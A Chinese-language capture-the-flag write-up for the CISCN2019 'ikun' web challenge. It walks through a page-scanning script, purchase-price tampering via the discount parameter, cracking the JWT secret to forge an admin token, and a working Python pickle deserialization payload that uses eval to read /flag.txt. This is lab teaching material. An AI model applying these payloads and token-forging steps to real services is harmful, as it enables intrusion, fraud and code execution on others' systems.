Bootstrap

[CISCN2019 华北赛区 Day1 Web2]ikun 1

题目分析

先注册账号,然后登录在这里插入图片描述
目标是买到lv6,page参数代表不同页面
写个脚本寻找存在lv6的页面

import requests
url = 'http://48741e8e-30ab-4b63-a3a0-be94862b2280.node5.buuoj.cn:81/shop?page='

for i in range(500):
    u = url + str(i);
    try:
        response = requests.get(u)
        if 'lv6.png' in response.text:
            print(i)
            break
    except:
        pass

在这里插入图片描述点击结算,抓包
在这里插入图片描述
改discount参数,即可买到lv6在这里插入图片描述
访问:/b1g_m4mber,显示只有admin用户可以访问在这里插入图片描述
抓包,存在jwt在这里插入图片描述

jwt

jwt介绍

JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。

jwt伪造

首先将抓到的jwt放到
jwt网站
看一下这个jwt的内容
在这里插入图片描述
root是我们最开始注册的用户名,我们需要将它改为admin,并且伪造签名
伪造签名需要获得令牌
我们使用工具:c-jwt-cracker-master
工具下载地址
在这里插入图片描述
得到key:1Kun
改用户名为admin,输入key值在这里插入图片描述
将jwt替换后,得到一个网址,访问后下载到源码在这里插入图片描述

pickle

根据提示,审计Admin文件

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle.loads()

pickle.loads() 是 Python 中用于从序列化的字节流(serialized bytes)中加载对象的函数。它接受一个包含序列化对象数据的字节对象,并返回原始的 Python 对象。

具体来说,pickle.loads() 将字节流反序列化为原始对象,使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。

pickle.dumps()

pickle.dumps() 是 Python 中用于将对象序列化(pickle)为字节流的函数。它接受一个 Python 对象作为输入,并返回该对象序列化后的字节表示。

具体来说,pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象,这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载

urllib.unquote()

urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示。

Python反序列化

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到become的值:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

替换后得到flag在这里插入图片描述

;